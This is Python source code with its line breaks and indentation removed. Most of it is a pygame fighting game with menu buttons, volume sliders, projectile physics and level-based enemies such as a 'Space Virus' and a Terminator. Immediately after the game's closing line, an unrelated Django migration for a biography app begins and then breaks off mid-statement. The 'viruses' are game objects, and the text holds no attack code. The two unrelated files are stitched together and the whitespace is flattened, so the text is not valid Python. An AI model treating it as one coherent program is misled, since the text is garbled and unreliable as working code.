bullet.stonedrawer(win) for kamen1 in kamni1: kamen1.stonedrawer(win) for kamen2 in kamni2: kamen2.stonedrawer(win) for virus in viruses: virus.stonedrawer(win) for raketa in rakety: raketa.rocketdrawer(win) if home != 0: home.housedrawer(win, iso_time) if not coffin: back.buttondrawer(310, 20, "back", "end_fight", win, 35, 5) pygame.display.update() #THE FUNCTION THAT ALLOWS TO COME BACK TO LIFE AND TRY AGAIN def resurrect(): global question while question: for event in pygame.event.get(): if event.type == pygame.QUIT: run = False yes = button(40, 30, (178, 236, 166), (0, 255, 0)) no = button(40, 30, (248, 161, 166), (255, 0, 0)) win.blit(bg, (0, 0)) print_text("Would you like to", 250, 200, (255, 255, 255), "fonts/Pixeboy.ttf", 35) print_text("resurrect yourself?", 250, 230, (255, 255, 255), "fonts/Pixeboy.ttf", 35) yes.buttondrawer(250, 280, "yes", "resurrect", win, 15, 4) no.buttondrawer(380, 280, "no", "end_fight", win, 15, 4) pygame.display.update() pygame.time.delay(30) ###################### BUTTONS: #ARROWS IN INTRO class intro_button(): def __init__(self, width, height, inactive_image, active_image): self.width = width self.height = height self.inactive_image = inactive_image self.active_image = active_image #function that draws the arrows def intro_buttondrawer(self, x, y, action, window): mouse = pygame.mouse.get_pos() click = pygame.mouse.get_pressed() if (x < mouse[0] < x+self.width) and (y < mouse[1] < y+self.height): win.blit(self.active_image, (x, y)) if click[0] == 1: pygame.mixer.Sound.play(button_pressed) pygame.time.delay(300) global shintro_count, tut_count if action == "Next": shintro_count+=1 elif action == "Previous": shintro_count-=1 elif action == "Next_tut": tut_count+=1 elif action == "Previous_tut": tut_count-=1 else: win.blit(self.inactive_image, (x, y)) #SLIDERS IN SETTINGS class slider(): def __init__(self, width, height, slider_rad, sliderx, inactive_col, active_col, sliding_bool): self.width = width self.height = height self.inactive_col = inactive_col self.active_col = active_col self.rad = slider_rad self.slx = int(sliderx) self.sliding = sliding_bool #function that draws sliders def sliderdrawer(self, x, y, ctrl_object): global sliderx1, sliderx2, sliding1, sliding2, eff_vol, mus_vol mouse = pygame.mouse.get_pos() click = pygame.mouse.get_pressed() #if a slider is held but mouse is outside the circle if click[0] == 1 and self.sliding: if x< mouse[0] < (x + self.width): if ctrl_object == "change music": self.slx = mouse[0] sliderx1 = mouse[0] elif ctrl_object == "change sfx": self.slx = mouse[0] sliderx2 = mouse[0] elif x > mouse[0]: if ctrl_object == "change music": self.slx = x sliderx1 = x elif ctrl_object == "change sfx": self.slx = x sliderx2 = x elif (x + self.width) < mouse[0]: if ctrl_object == "change music": self.slx = x + self.width sliderx1 = x + self.width elif ctrl_object == "change sfx": self.slx = x + self.width sliderx2 = x + self.width elif self.sliding and not click[0] == 1: if ctrl_object == "change music": sliding1 = False elif ctrl_object == "change sfx": sliding2 = False #if mouse is inside a circle if (self.slx-self.rad < mouse[0] < self.slx+self.rad) and ((y+int(self.height//2))-self.rad) < mouse[1] < (y+(self.height/2)+self.rad): pygame.draw.rect(win, self.inactive_col, (x, y, self.width, self.height)) pygame.draw.rect(win, self.active_col, (x, y, self.slx-x, self.height)) pygame.draw.circle(win, (168, 41, 219), (self.slx, y+int(self.height//2)), self.rad) if click[0] == 1 and x< mouse[0] < (x + self.width): self.slx = mouse[0] if ctrl_object == "change music": sliderx1 = mouse[0] sliding1 = True elif ctrl_object == "change sfx": sliderx2 = mouse[0] sliding2 = True else: pygame.draw.rect(win, self.inactive_col, (x, y, self.width, self.height)) pygame.draw.rect(win, self.active_col, (x, y, self.slx-x, self.height)) if self.sliding: pygame.draw.circle(win, (168, 41, 219), (self.slx, y+int(self.height/2)), self.rad) else: pygame.draw.circle(win, (94, 23, 122), (self.slx, y+int(self.height/2)), self.rad) if ctrl_object == "change music": mus_vol = (self.slx-x)/self.width elif ctrl_object == "change sfx": eff_vol = (self.slx-x)/self.width #RECTANGULAR BUTTONS class button(): def __init__(self, width, height, inactive_col, active_col): self.width = width self.height = height self.inactive_col = inactive_col self.active_col = active_col #function that draws general rectangular buttons def buttondrawer(self, x, y, message, action, window, font_size, w): mouse = pygame.mouse.get_pos() click = pygame.mouse.get_pressed() #if mouse is inside a button: if (x < mouse[0] < x+self.width) and (y < mouse[1] < y+self.height): pygame.draw.rect(window, self.active_col, (x, y, self.width, self.height)) if click[0] == 1: pygame.mixer.Sound.play(button_pressed) pygame.time.delay(300) if action != None: global shmenu, shmenu1, shsettings, shintro, Mode1, question, run global fight, kamni1, kamni2, kamni, kamni_inner_list, viruses, rakety, home, locked, health, green, red, health1, green1, red1, player, bg, stored_player, stored_bg, stored_level #checking what each button does if action == "quit": pygame.time.delay(200) run = False shmenu = False elif action == "start_game": shintro = False shmenu1 = False shmenu = False elif action == "start_intro": pygame.mixer.stop() pygame.mixer.Sound.play(music_int) shmenu1 = False shmenu = False shintro = True intro(win, intro_bg[0]) elif action == "show_menu": shmenu1 = False shmenu = True shsettings = False pygame.mixer.Sound.play(musici) show_menu(window, menu) elif action == "show_settings": pygame.mixer.stop() shsettings = True shmenu = False fight = False show_settings(win, settings_bg) elif action == "resurrect": question = False if level == 1 or level == 5: pygame.mixer.Sound.play(music4) elif level == 2: pygame.mixer.Sound.play(music3) elif level == 3: pygame.mixer.Sound.play(music1) elif level == 4: pygame.mixer.Sound.play(music2) elif level == 6: pygame.mixer.Sound.play(music5) elif action == "show_menu1": fight = False shmenu = False shmenu1 = True pygame.mixer.stop() ###### kamni = [] kamni1 = [] kamni2 = [] kamni_inner_list = [] viruses = [] rakety = [] home = 0 locked = False show_scene_menu(window, scene) elif action == "end_fight": fight = False kamni = [] kamni1 = [] kamni2 = [] kamni_inner_list = [] viruses = [] rakety = [] home = 0 locked = False pygame.mixer.stop() health = 100 red=0 green=255 health1 = 100 red1=0 green1=255 question = False if not Mode1: stored_player = player stored_bg = bg stored_level = level shmenu = True shmenu1 = False pygame.mixer.Sound.play(musici) show_menu(window, menu) else: Mode1 = False shmenu1 = True show_scene_menu(window, scene) else: action() #if mouse is outside a button: else: pygame.draw.rect(window, self.inactive_col, (x, y, self.width, self.height)) print_text(message, x+10, y+w, (0, 0, 0), "fonts/Pixeboy.ttf", font_size) #another button function that draws buttons in the "select level" menu def buttondrawer2(self, x, y, image, corr_bg, message, action, window, font_size, w): mouse = pygame.mouse.get_pos() click = pygame.mouse.get_pressed() if (x < mouse[0] < x+self.width-10) and (y < mouse[1] < y+self.height-10): pygame.draw.rect(window, self.active_col, (x-5, y-5, self.width, self.height)) window.blit(image, (x, y)) print_text(message, x+10, y-30, self.active_col, "fonts/Pixeboy.ttf", font_size) if click[0] == 1: pygame.mixer.Sound.play(button_pressed) pygame.font.init() pygame.time.delay(300) global shmenu1, Mode1 global bg global shmenu, shintro, tut, tut_count global player, level if action == "show_intro": pygame.mixer.Sound.play(music_int) shmenu1 = False shmenu = False shintro = True Mode1 = True intro(win, intro_bg[0]) elif action == "show_lvl1": pygame.mixer.Sound.play(music4) shmenu1 = False bg = corr_bg player = bl level = 1 Mode1 = True elif action == "show_lvl2": pygame.mixer.Sound.play(music3) shmenu1 = False bg = corr_bg player = atl level = 2 Mode1 = True elif action == "show_lvl3": shmenu1 = False bg = corr_bg player = kem level = 3 Mode1 = True pygame.mixer.Sound.play(music1) elif action == "show_lvl4": pygame.mixer.Sound.play(music2) shmenu1 = False bg = corr_bg player = xen1 level = 4 Mode1 = True elif action == "show_lvl5": pygame.mixer.Sound.play(music4) shmenu1 = False bg = corr_bg player = corona level = 5 Mode1 = True elif action == "show_lvl6": shmenu1 = False bg = corr_bg player = term level = 6 Mode1 = True pygame.mixer.Sound.play(music5) elif action == "show_menu": shmenu = True shmenu1 = False Mode1 = True pygame.mixer.Sound.play(musici) show_menu(window, menu) elif action == "show_outro": pygame.mixer.Sound.play(music_int) shmenu1 = False shmenu = False tut = True Mode1 = True level = 7 tut_count = 14 tutorial(level) else: win.blit(image, (x, y)) #the BACK button that appears in every fighting scene back = button(85, 30, (255, 128, 101), (255, 0, 0)) #################### OBJECTS #STONES (also used for cabbages) class stone(): def __init__(self, x, y, radius, col, facing, image): self.x = x self.y = y self.radius = radius self.col = col self.facing = facing self.vel = 11*facing self.vert_vel = -23 self.image = image def stonedrawer(self, window): if self.image == None: pygame.draw.circle(window, self.col, (self.x, self.y), 5) else: window.blit(self.image, (self.x-6, self.y-5)) #MISSILES ON LEVEL 3 class rocket(): def __init__(self, x, y, image, facing): self.x = x self.y = y self.image = image self.facing = facing self.vel = random.randint(14, 25)*facing self.vert_vel = -23 self.im = pygame.transform.rotate(self.image, 90) def rocketdrawer(self, window): if self.vert_vel < 0: window.blit(self.image, (self.x, self.y)) else: window.blit(self.im, (self.x, self.y)) window.blit(flame, (self.x+21, self.y)) #ISOLATION THING ON LEVEL 5 class house(): def __init__(self, x, y, col, vert_vel): self.x = x self.y = y self.vert_vel = vert_vel self.col = col self.roof = -10 def housedrawer(self, window, time): if self.y < 480: pygame.draw.rect(window, self.col, (self.x-58, self.y-210, 8, 170)) pygame.draw.rect(window, self.col, (self.x+50, self.y-210, 8, 170)) else: pygame.draw.rect(window, self.col, (self.x-58, self.y-210, 8, 170)) pygame.draw.rect(window, self.col, (self.x+50, self.y-210, 8, 170)) pygame.draw.polygon(window, self.col, [(self.x-68, self.roof), (self.x+68, self.roof), (self.x, self.roof-50)]) print_text(str(time), self.x-8, self.y-235, (0, 0, 0), "fonts/atomicage-regular.ttf", 15) if time%2 == 0: print_text("Isolation!", 280, 90, (255, 0, 0), "fonts/Pixeboy.ttf", 35) ################################## THE MAIN GAME LOOP ################################# pygame.mixer.Sound.play(musici) show_menu(win, menu) while run == True: #time t.tick(FPS) #Variable for time comparison (used to restrict amount of shots, jumps, etc) a = float(pygame.time.get_ticks()/1000) #check if pause is pressed pressed = pygame.key.get_pressed() if pressed[pygame.K_ESCAPE]: pygame.mixer.pause() pause() #CHECKING REMAINING HEALTH OF EACH PLAYER #if somebody dies: if health1==0 or health==0: pygame.mixer.stop() kamni = [] kamni1 = [] kamni2 = [] kamni_inner_list = [] viruses = [] rakety = [] home = 0 locked = False pygame.time.wait(500) coffin = True pygame.mixer.Sound.play(astronomia) cof_start_time = a #If player on the right dies: if health1 == 0: health1 = 1 cof_right = True cof_left = False if player == atl or player == bl or player == term: pygame.mixer.stop() if player == atl or player == term: expl_atl = True pygame.mixer.Sound.play(expl_sound) pygame.time.delay(800) #if player on the left dies: if health == 0: health = 1 cof_left = True cof_right = False #when dancing or exploding is finished: if finish: #reset variables fight = False health = 100 red=0 green=255 health1 = 100 red1=0 green1=255 finish = False coffin = False #If in "start game" mode, switch to next level if not Mode1 and cof_right: level+=1 if level == 2: bg = bg2 player = atl tut_count = 3 tut = True tutorial(level) if level == 3: bg = bg3 player = kem tut_count = 5 tut = True tutorial(level) if level == 4: bg = bg4 player = xen1 tut_count = 7 tut = True tutorial(level) if level == 5: bg = bg5 player = corona tut_count = 9 tut = True tutorial(level) if level == 6: bg = bg6 player = term tut_count = 11 tut = True tutorial(level) if level == 7: bg = bg1 player = bl tut_count = 14 tut = True pygame.mixer.Sound.play(music_int) tutorial(level) #If lost the battle, ask if the player wants to try again elif not Mode1 and cof_left: question = True resurrect() #if in "select level" mode, go back to menu elif Mode1 == True: shmenu1 = True Mode1 = False show_scene_menu(win, scene) cof_left = False cof_right = False #PHYSICS OF STONES AND CABBAGES for kamen in kamni: if kamen[0].x < 720 and kamen[0].x > 0 and kamen[0].y < 475 and (kamen[0].x<x1 or kamen[0].x>(x1+width1) or kamen[0].y<y1 or kamen[0].y>(y1+height1)): kamen[0].x += kamen[0].vel if kamen[0].vert_vel<0: kamen[0].y-=round((kamen[0].vert_vel**2)/20) else: kamen[0].y+=round((kamen[0].vert_vel**2)/20) kamen[0].vert_vel+=1 #If the player on the right gets hit by a stone elif kamen[0].x < 720 and kamen[0].x > 0 and kamen[0].y < 475 and (kamen[0].x>x1 and kamen[0].x<(x1+width1+10) and kamen[0].y>y1 and kamen[0].y<(y1+height1)): if player == kem or player == bl: pygame.mixer.Sound.play(durak_scream) health1-=10 red1+=25.2 green1-=25.2 elif player == corona: if random.randint(0, 2) == 1: pygame.mixer.Sound.play(csound1) else: pygame.mixer.Sound.play(csound2) health1-=10 red1+=9.1 green1-=9.1 elif player == xen1: pygame.mixer.Sound.play(alien_scream) health1-=10 red1+=25.2 green1-=25.2 elif player == atl or player == atl: health1-=10 red1+=25.2 green1-=25.2 kamni.pop(kamni.index(kamen)) else: kamni.pop(kamni.index(kamen)) #Physics of bullets and checking for collisions for bullet in p_blaster: if bullet.x < 720 and bullet.x > 0 and bullet.y < 475 and (bullet.x<x1 or bullet.x>(x1+width1) or bullet.y<y1+yofs or bullet.y>(y1+yofs+height1)): bullet.x += bullet.vel elif bullet.x < 720 and bullet.x > 0 and bullet.y < 475 and (bullet.x>x1 and bullet.x<(x1+width1+10) and bullet.y>y1+yofs and bullet.y<(y1+yofs+height1)) and not coffin: if player == kem or player == bl: pygame.mixer.Sound.play(durak_scream) health1-=10 red1+=25.2 green1-=25.2 elif player == corona: if random.randint(0, 2) == 1: pygame.mixer.Sound.play(csound1) else: pygame.mixer.Sound.play(csound2) health1-=10 red1+=9.1 green1-=9.1 elif player == xen1: pygame.mixer.Sound.play(alien_scream) health1-=10 red1+=25.2 green1-=25.2 elif player == atl or player == term: health1-=10 red1+=25.2 green1-=25.2 p_blaster.pop(p_blaster.index(bullet)) else: p_blaster.pop(p_blaster.index(bullet)) #Physics of stones thrown by the right player for kamen1 in kamni1: if kamen1.x < 720 and kamen1.x > 0 and kamen1.y < 475 and (kamen1.x>(x+width+x_of) or kamen1.x<x+x_of or kamen1.y<y+y_of or kamen1.y>(y+y_of+height)): kamen1.x += kamen1.vel if kamen1.vert_vel<0: kamen1.y-=round((kamen1.vert_vel**2)/20) else: kamen1.y+=round((kamen1.vert_vel**2)/20) kamen1.vert_vel+=1 #If the player on the left gets hit by a stone elif kamen1.x < 720 and kamen1.x > 0 and kamen1.y < 475 and kamen1.x<(x+x_of+width) and kamen1.x>x+x_of and kamen1.y>y+y_of and kamen1.y<(y+y_of+height): kamni1.pop(kamni1.index(kamen1)) health-=10 red+=25.2 green-=25.2 else: kamni1.pop(kamni1.index(kamen1)) #Physics of bullets etc (shot by the right player) for kamen2 in kamni2: if kamen2.x < 720 and kamen2.x > 0 and kamen2.y < 475 and (kamen2.x>(x+x_of+width) or kamen2.x<x+x_of or kamen2.y<y+y_of or kamen2.y>(y+y_of+height)): kamen2.x += kamen2.vel elif kamen2.x < 720 and kamen2.x > 0 and kamen2.y < 475 and kamen2.x<(x+x_of+width) and kamen2.x>x+x_of and kamen2.y>y+y_of and kamen2.y<(y+y_of+height): kamni2.pop(kamni2.index(kamen2)) health-=10 red+=25.2 green-=25.2 else: kamni2.pop(kamni2.index(kamen2)) #Missiles launched by Kem for raketa in rakety: if raketa.x < 720 and raketa.x > 0 and raketa.y < 475 and (raketa.x>(x+width) or raketa.x<x or raketa.y<y or raketa.y>(y+height)): if raketa.vert_vel<0: raketa.y-=round((raketa.vert_vel**2)/20) elif raketa.vert_vel == 0: pygame.mixer.Sound.play(launch) else: raketa.x += raketa.vel raketa.y+=round((raketa.vert_vel**2)/20) raketa.vert_vel+=1 elif raketa.x < 720 and raketa.x > 0 and raketa.y < 475 and raketa.x<(x+width) and raketa.x>x and raketa.y>y and raketa.y<(y+height): rakety.pop(rakety.index(raketa)) health-=10 red+=25.2 green-=25.2 else: rakety.pop(rakety.index(raketa)) #Viruses thrown by the Space Virus for virus in viruses: if virus.x < 720 and virus.x > 0 and virus.y < 475 and (virus.x>(x+x_of+width) or virus.x<x+x_of or virus.y<y+y_of or virus.y>(y+y_of+height)): if virus.vert_vel<0: virus.x += (virus.vel+6) virus.y-=round((virus.vert_vel**2)/30) virus.y+=round(10*math.sin(virus.x)) else: virus.x += virus.vel+r_speed virus.y+=round((virus.vert_vel**2)/80) virus.y+=round(10*math.sin(math.radians(virus.x))) virus.vert_vel+=1 elif virus.x < 720 and virus.x > 0 and virus.y < 475 and virus.x<(x+x_of+width) and virus.x>x+x_of and virus.y>y+y_of and virus.y<(y+y_of+height): viruses.pop(viruses.index(virus)) health-=5 red+=12.6 green-=12.6 r_speed = random.randint(-8, 8) else: viruses.pop(viruses.index(virus)) r_speed = random.randint(-8, 8) #Isolation arranged by the Space virus if home != 0 and home.y < 480: home.y += home.vert_vel home.vert_vel += 2 if (0 < home.y < 480) and abs(x+30 - home.x) < 20: locked = True elif home != 0 and home.y >= 480: if home.roof < (home.y-220): home.roof += 31 if locked and round(a, 0) > iso_timex and iso_time != 0: iso_time-=1 iso_timex = round(a, 0) elif iso_time == 0: home = 0 locked = False iso_time = 14 ############## CONTROLLING THE LEFT PLAYER: if not locked:#that is not in isolation #Walking left and right if pressed[pygame.K_LEFT] and x>0 and not neo_b: x-= speed walking = True elif pressed[pygame.K_RIGHT] and x<300 and not neo_b: x+= speed facing = 1 walking = True else: walking = False animcount = 0 #dodging Neo-style if pressed[pygame.K_DOWN] and not isJump and not (player == bl or player == atl or player == kem): neo_b = True height = 77 width = 135 x_of = -70 y_of = +58 else: neo_b = False height = 135 width = 65 x_of = 0 y_of = 0 #Jumping if not isJump and not neo_b: if pressed[pygame.K_UP] and a-b>0.7: isJump = True b=a elif not neo_b: if jumpSpeed >= -7: if jumpSpeed<0: y+=(jumpSpeed**2)/2 else: y-=(jumpSpeed**2)/2 jumpSpeed-=(0.5) else: isJump = False jumpSpeed = 7 #Throwing stones if pressed[pygame.K_SPACE] and len(kamni) < 2 and a-c>0.4 and not coffin and not neo_b and not player == term: pygame.mixer.Sound.play(throw) if player == bl: kamni_inner_list.append(stone(round(x + width/2), round(y + height/2), 5, (255, 0, 0), facing, cabbage)) else: kamni_inner_list.append(stone(round(x + width/2), round(y + height/2), 5, (255, 0, 0), facing, stone1)) #Store the approximate location of where a stone will land. This will be used by players on the right to dodge the stones sometimes kamni_inner_list.append(x+530) kamni.append(kamni_inner_list) c = a kamni_inner_list = [] #Shooting the laser gun if pressed[pygame.K_RSHIFT] and p_blast_possible and len(p_blaster) < 1 and a-j>1.5 and not coffin and not (player == bl or player == atl) and not neo_b: p_blaster.append(stone(round(x + width), round(y + 40), 8, (27, 149, 255), 2, blastp)) j = a k = a p_blast_possible = False pygame.mixer.Sound.play(blaster) if not p_blast_possible: if a-k>1.5 and not (player == bl or player == atl): if random.randint(0, 3) == 1 and player != term: p_blast_possible = True elif random.randint(0, 2) == 1 and player == term: p_blast_possible = True else: p_blast_possible = False k = a #preventing from jumping inside a house elif locked and isJump: isJump = False y = 320 jumpSpeed = 7 else: #Walking inside a house if pressed[pygame.K_LEFT] and x>(home.x-50): x-= speed walking = True elif pressed[pygame.K_RIGHT] and x<(home.x): x+= speed facing = 1 walking = True else: walking = False animcount = 0 ################################# BEHAVIOUR OF PLAYERS ON THE RIGHT #BL-1050 if player == bl and level == 1: level = 1 height1 = 135 width1 = 80 #setting correct values when entered this level if not fight: health1 = health_d y1 = 325 fight = True #jumping if a-d > 2 and isJump1: if jumpSpeed1 >= -8: if jumpSpeed1<0: y1+=(jumpSpeed1**2)/2 else: y1-=(jumpSpeed1**2)/2 jumpSpeed1-=(0.5) else: isJump1 = False jumpSpeed1 = 8 elif a-d <= 2: isJump1 = False elif a-d > 2 and not isJump: if random.randint(0,1) == 1: isJump1 = True else: isJump1 = False d = a #In order to fix y position (which might change due to player switching) while y1+height1>460 and isJump1 == False: y1-=1 while y1+height1<460 and isJump1 == False: y1+=1 #walking if moving: if x1>x1t and x1-x1t>speed1: x1-=speed1 moving = True elif x1<x1t and x1t-x1>speed1: x1+=speed1 moving = True else: moving = False else: h = random.randint(0,3) if a-e>2 and (h == 0 or h == 1 or h == 3): x1t = random.randint(380,680) moving = True e = a elif a-e>0 and h == 2: #dodge the stones thrown by the left player with certain probability #by just walking away from where a stone lands if len(kamni)!=0: x1t = (kamni[0][1])-150 if (kamni[0][1]) < 690: moving = True else: moving = False if not isJump1: d = a else: moving = False #Cabbages thrown with certain probability if kinul and len(kamni1) < 5 and a-f>0.8 and not coffin: kamni1.append(stone(round(x1 + width/2), round(y1 + height/2), 5, (255, 255, 255), -1, cabbage)) f = a pygame.mixer.Sound.play(throw) kinul = False elif not kinul and len(kamni1) < 5 and a-f>0.8: if random.randint(0,50) == 1: kinul = True#False else: kinul = False else: kinul = False #ABOUT THE SAME LOGICS HOLD FOR ALL OTHER PLAYERS (WITH MINOR MODIFICATIONS) ####################################################### #ATL-315 if player == atl and level == 2: level = 2 height1 = 80 width1 = 65 speed1 = 14 if not fight: health1 = health_d fight = True y1 = 335 jumpSpeed1 = 7 if a-d > 1.3 and isJump1: if jumpSpeed1 >= -7: if jumpSpeed1<0: y1+=(jumpSpeed1**2)/2 else: y1-=(jumpSpeed1**2)/2 jumpSpeed1-=(0.5) else: isJump1 = False jumpSpeed1 = 7 elif a-d <= 1.3: isJump1 = False elif a-d > 1.3 and not isJump: if random.randint(0,2) == 1 and moving: isJump1 = True else: isJump1 = False d = a #In order to fix y position while y1+height1>477 and isJump1 == False: y1-=1 #while y1+height1<477 and isJump1 == False: # y1+=1 if moving and not cof_right: if x1>x1t and x1-x1t>speed1: x1-=speed1 moving = True elif x1<x1t and x1t-x1>speed1: x1+=speed1 moving = True else: moving = False else: h = random.randint(0,8) if a-e>1 and h == 0: x1t = random.randint(380,680) moving = True e = a elif a-e>1 and (h == 1 or h == 2 or h == 3 or h == 4 or h == 5 or h == 6 or h == 7): if len(kamni)!=0: if (kamni[0][1])>=540: x1t = random.randint(360, 410) else: x1t = random.randint(630, 650) if (kamni[0][1]) < 690: moving = True else: moving = False v = random.randint(0,5) if not isJump1 and (v == 1) : d = a else: moving = False if kinul2 and len(kamni2) < 1 and a-g>1.5 and not coffin: kamni2.append(stone(round(x1 + width/2-10), round(y1 + height/2-15), 8, (230, 230, 255), -2, pygame.transform.flip(blastp, True, False))) g = a pygame.mixer.Sound.play(blaster) kinul2 = False elif not kinul2 and len(kamni2) < 1 and a-f>1.5: if random.randint(0,80) == 1: kinul2 = True #False else: kinul2 = False else: kinul2 = False ######################################### #Kem John-krem elif player == kem and level == 3: level = 3 height1 = 135 width1 = 80 if not fight: health1 = health_kem fight = True y1 = 325 if a-d > 2 and isJump1: if jumpSpeed1 >= -8: if jumpSpeed1<0: y1+=(jumpSpeed1**2)/2 else: y1-=(jumpSpeed1**2)/2 jumpSpeed1-=(0.5) else: isJump1 = False jumpSpeed1 = 8 elif a-d <= 2: isJump1 = False elif a-d > 2 and not isJump: if random.randint(0,1) == 1: isJump1 = True else: isJump1 = False d = a #In order to fix y position while y1+height1>460 and isJump1 == False: y1-=1 while y1+height1<460 and isJump1 == False: y1+=1 if moving: if x1>x1t and x1-x1t>speed1: x1-=speed1 moving = True elif x1<x1t and x1t-x1>speed1: x1+=speed1 moving = True else: moving = False else: h = random.randint(0,2) if a-e>2 and (h == 0 or h == 1): x1t = random.randint(380,680) moving = True e = a elif a-e>0 and h == 2: if len(kamni)!=0: x1t = (kamni[0][1])-150 if (kamni[0][1]) < 690: moving = True else: moving = False if not isJump1: d = a else: moving = False if kinul and len(rakety) < 5 and a-f>0.8 and not coffin: rakety.append(rocket(round(x1 + width/2), round(y1 + height/2), missile, -1)) f = a pygame.mixer.Sound.play(throw) kinul = False elif not kinul and len(kamni1) < 5 and a-f>0.8: if random.randint(0,50) == 1: kinul = True else: kinul = False else: kinul = False ####################################################### #Xenomorph if player == xen1 and level == 4: level = 4 height1 = 135 width1 = 80 if not fight: health1 = health_d fight = True y1 = 320 if a-d > 2 and isJump1: if jumpSpeed1 >= -8: if jumpSpeed1<0: y1+=(jumpSpeed1**2)/2 else: y1-=(jumpSpeed1**2)/2 jumpSpeed1-=(0.5) else: isJump1 = False jumpSpeed1 = 8 elif a-d <= 2: isJump1 = False elif a-d > 2 and not isJump: if random.randint(0,2) == 1: isJump1 = True else: isJump1 = False d = a if len(p_blaster)!=0 and not isJump1: ha = random.randint(0,30) if ha == 2: isJump1 = True d = a-3 #In order to fix y position while y1+height1>460 and isJump1 == False: y1-=1 while y1+height1<460 and isJump1 == False: y1+=1 if moving: if x1>x1t and x1-x1t>speed1: x1-=speed1 moving = True elif x1<x1t and x1t-x1>speed1: x1+=speed1 moving = True else: moving = False else: h = random.randint(0,2) if a-e>2 and (h == 0 or h == 1): x1t = random.randint(380,680) moving = True e = a elif a-e>0 and h == 2: if len(kamni)!=0: x1t = (kamni[0][1])-150 if (kamni[0][1]) < 690: moving = True else: moving = False if not isJump1: d = a else: moving = False #Adding face-huggers if kinul and len(kamni1) < 5 and a-f>0.8 and not coffin: kamni1.append(stone(round(x1 + width/2), round(y1 + height/2), 5, (255, 255, 255), -1, pygame.transform.rotate(xen_s1, -45))) f = a pygame.mixer.Sound.play(throw) kinul = False elif not kinul and len(kamni1) < 5 and a-f>0.8: if random.randint(0,100) == 1: kinul = True else: kinul = False else: kinul = False #Adding acid blood if kinul2 and len(kamni2) < 2 and a-g>1 and not coffin: kamni2.append(stone(round(x1), round(y1 + 20), 8, (255, 255, 255), -2, xen_s)) g = a pygame.mixer.Sound.play(alien_throw) kinul2 = False elif not kinul2 and len(kamni2) < 3 and a-f>1: if random.randint(0,60) == 1: kinul2 = True #False else: kinul2 = False else: kinul2 = False ##################################################### #The Space Virus elif player == corona and level == 5: level = 5 height1 = coronaheight width1 = coronawidth if not fight: health1 = health_cor y1 = 342 fight = True if a-d > 2 and isJump1: if jumpSpeed1 >= -8: if jumpSpeed1<0: y1+=(jumpSpeed1**2)/2 else: y1-=(jumpSpeed1**2)/2 jumpSpeed1-=(0.5) else: isJump1 = False jumpSpeed1 = 8 elif a-d <= 2: isJump1 = False elif a-d > 2 and not isJump: if random.randint(0,2) == 1: isJump1 = True else: isJump1 = False d = a if len(p_blaster)!=0 and not isJump1: ha = random.randint(0,30) if ha == 2: isJump1 = True d = a-3 #In order to fix y position while y1+coronaheight>460 and not isJump1: y1-=1 while y1+coronaheight<460 and not isJump1: y1+=1 if moving: if x1>x1t and x1-x1t>speed1: x1-=speed1 moving = True elif x1<x1t and x1t-x1>speed1: x1+=speed1 moving = True else: moving = False else: h = random.randint(0,2) if a-e>2 and (h == 0 or h == 1): x1t = random.randint(380,680) moving = True e = a elif a-e>0 and h == 2: if len(kamni)!=0: x1t = (kamni[0][1])-150 if (kamni[0][1]) < 690: moving = True else: moving = False if not isJump1: d = a else: moving = False #little viruses if kinul and len(kamni1) < 5 and a-f>0.8 and not coffin: viruses.append(stone(round(x1 + width1/2), round(y1 + height1/2), None, None, -1, little_corona)) f = a pygame.mixer.Sound.play(throw) kinul = False elif not kinul and len(kamni1) < 5 and a-f>0.8: if random.randint(0,40) == 1: kinul = True#False else: kinul = False else: kinul = False #Isolation if isolation and home == 0 and a-g > 15 and x > 20 and not coffin: home = house(x+30, -30, (255, 0, 0), 10) g = a pygame.mixer.Sound.play(isolation_sound) isolation = False elif not isolation and home == 0 and a-g>15: if random.randint(0,2) == 1: isolation = True else: isolation = False g = a else: isolation = False ####################################################### #Terminator T-800 if player == term and sit: yofs = 56 else: yofs = 0 if player == term and level == 6: level = 6 if not sit and not isJump1: height1 = 135 elif not sit and isJump1: height1 = 80 elif sit and not isJump: height1 = 84 width1 = 65 speed1 = 14 if not fight: health1 = health_d fight = True y1 = 320 jumpSpeed1 = 7 if isJump1: if jumpSpeed1 >= -7: if jumpSpeed1<0: y1+=(jumpSpeed1**2)/2 else: y1-=(jumpSpeed1**2)/2 jumpSpeed1-=(0.5) else: isJump1 = False jumpSpeed1 = 7 sit = True elif a-d > 1.3 and not isJump1 and not sit: if random.randint(0,2) == 1 and moving: isJump1 = True else: isJump1 = False d = a #In order to fix y position while y1+135>460 and not isJump1: y1-=1 while y1+135<460 and not isJump1: y1+=1 if moving and not cof_right: if x1>x1t and x1-x1t>speed1: x1-=speed1 moving = True elif x1<x1t and x1t-x1>speed1: x1+=speed1 moving = True else: moving = False else: h = random.randint(0,2) if a-e>1 and h == 0 and not sit: x1t = random.randint(380,680) moving = True e = a ha = random.randint(1,3) if len(p_blaster)!=0 and ha == 2 and not isJump1 and not sit: isJump1 = True elif len(p_blaster)!=0 and ha == 1 and not isJump1 and not sit: sit = True height1 = 84 #Shooting if kinul2 and len(kamni2) < 1 and a-g>1.5 and not coffin and not sit: kamni2.append(stone(round(x1 + width/2-20), round(y1 + height/2-28), 8, (230, 230, 255), -2, blastt)) g = a pygame.mixer.Sound.play(blaster) kinul2 = False elif not kinul2 and len(kamni2) < 1 and a-f>1.5: if random.randint(0,80) == 1: kinul2 = True else: kinul2 = False else: kinul2 = False ######################################### #CALLING THE DRAWER TO DRAW A FRAME drawer(bg, player) #ПCHECK FOR GAME QUIT for event in pygame.event.get(): if event.type == pygame.QUIT: run = False pygame.quit()
# Generated by Django 2.0.1 on 2018-01-18 15:15 import biography.fields from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('entity', '0002_auto_20180117_2043'), ('biography', '0001_initial'), ] operations = [ migrations.CreateModel( name='Occupation', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('sector', models.CharField(choices=[('private', 'Private'), ('government', 'Public - Government'), ('military', 'Public - Military'), ('public', 'Public - Other')], default='private', max_length=10)), ('title', models.CharField(max_length=250)), ('from_date', models.DateField(blank=True, null=True)), ('to_date', models.DateField(blank=True, null=True)), ('notes', biography.fields.MarkdownField(blank=True, null=True)), ], ), migrations.AlterModelOptions( name='biography', options={'verbose_name_plural': 'biographies'}, ), migrations.AlterModelOptions( name='birthplace', options={'verbose_name_plural': 'birthplace'}, ), migrations.AlterModelOptions( name='education', options={'verbose_name_plural': 'education'}, ), migrations.AlterModelOptions( 